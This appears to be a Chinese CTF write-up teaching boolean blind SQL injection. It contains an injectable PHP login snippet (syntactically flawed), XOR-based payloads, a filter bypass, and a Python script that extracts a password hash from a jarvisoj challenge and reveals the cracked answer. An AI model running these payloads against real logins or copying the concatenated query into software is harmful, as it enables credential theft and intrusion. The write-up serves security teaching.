布尔盲注 漏洞解释:根据注入点的输入,页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。
应用场景:根据用户名和密码的输入,页面返回密码错误和用户名错误两种类型。利用返回不同,逐个拆解密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 auth.php $username = $_POST["username" ]; $username = str_replace(' ' , '' , $username); $password = $_POST["password" ]; $sql = "select password from admin where username = '" .$username."'" ; $result = mysql_query($sql); $rowcount = mysql_num_rows($result); if $rowcount == 0 { echo '用户名错误' ; }else { while ($rowcount--){ if ($username = 'admin' and $password = $result[$row]){ echo '密码错误' } } }
payload:
1 username = "admin'^(ascii(mid((password)from(str(1)))=ord(1)^1#"
^
表示异或,将username分为三段,admin'
(假设存在该用户名)和1
异或为0,所以username的真值由(ascii(mid((password)from(str(1)))=ord(1)
决定。
1 2 3 4 5 mid()函数 mid(“kangel” from(str(3)) //返回"kangel"从第三个字符开始的所有字符,即"gel" assic()函数 assic("abc") //返回“abc”第一个字符的assic值,即97 (ascii(mid((password)from(str(1)))=ord(1) //password第一个字符assic值与"1"的assic值(49)进行比较
因此,若过滤了=
,则可以替换为
1 username = "admin'^(ascii(mid((password)from(str(1)))<>ord(1)^0#"
例题:http://web.jarvisoj.com:32787/login.php
判断登录漏洞类型,输入admin
、admin
返回密码错误,输入kangel
、123
返回用户名错误
继续判断过滤字符,username输入:
1 2 admin'^(ascii(mid((password)from('1'))<>97^0#" //用户名错误 admin'^(ascii(mid((password)from(1)))=97)^0# //密码错误
该payload有效,猜测密码为md5值存储,上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests as rstr_hex = '0123456789abcdef' url = "http://web.jarvisoj.com:32787/login.php" password = "" for index in range(1 , 33 ): for i in str_hex: username = "admin'^(ascii(mid((password)from({})))<>{})^0#" .format(str(index),ord(i)) data = { 'username' : username, 'password' : 'admin' } print(username) s = r.post(url, data=data) if "密码错误" in s.text: password += i print(password) break print(password)
得到password:334cfb59c9d74849801d5acdcfdaadc3
,MD5解密得:eTAloCrEP
,用admin
、eTAloCrEP
登录得到flag。
时间盲注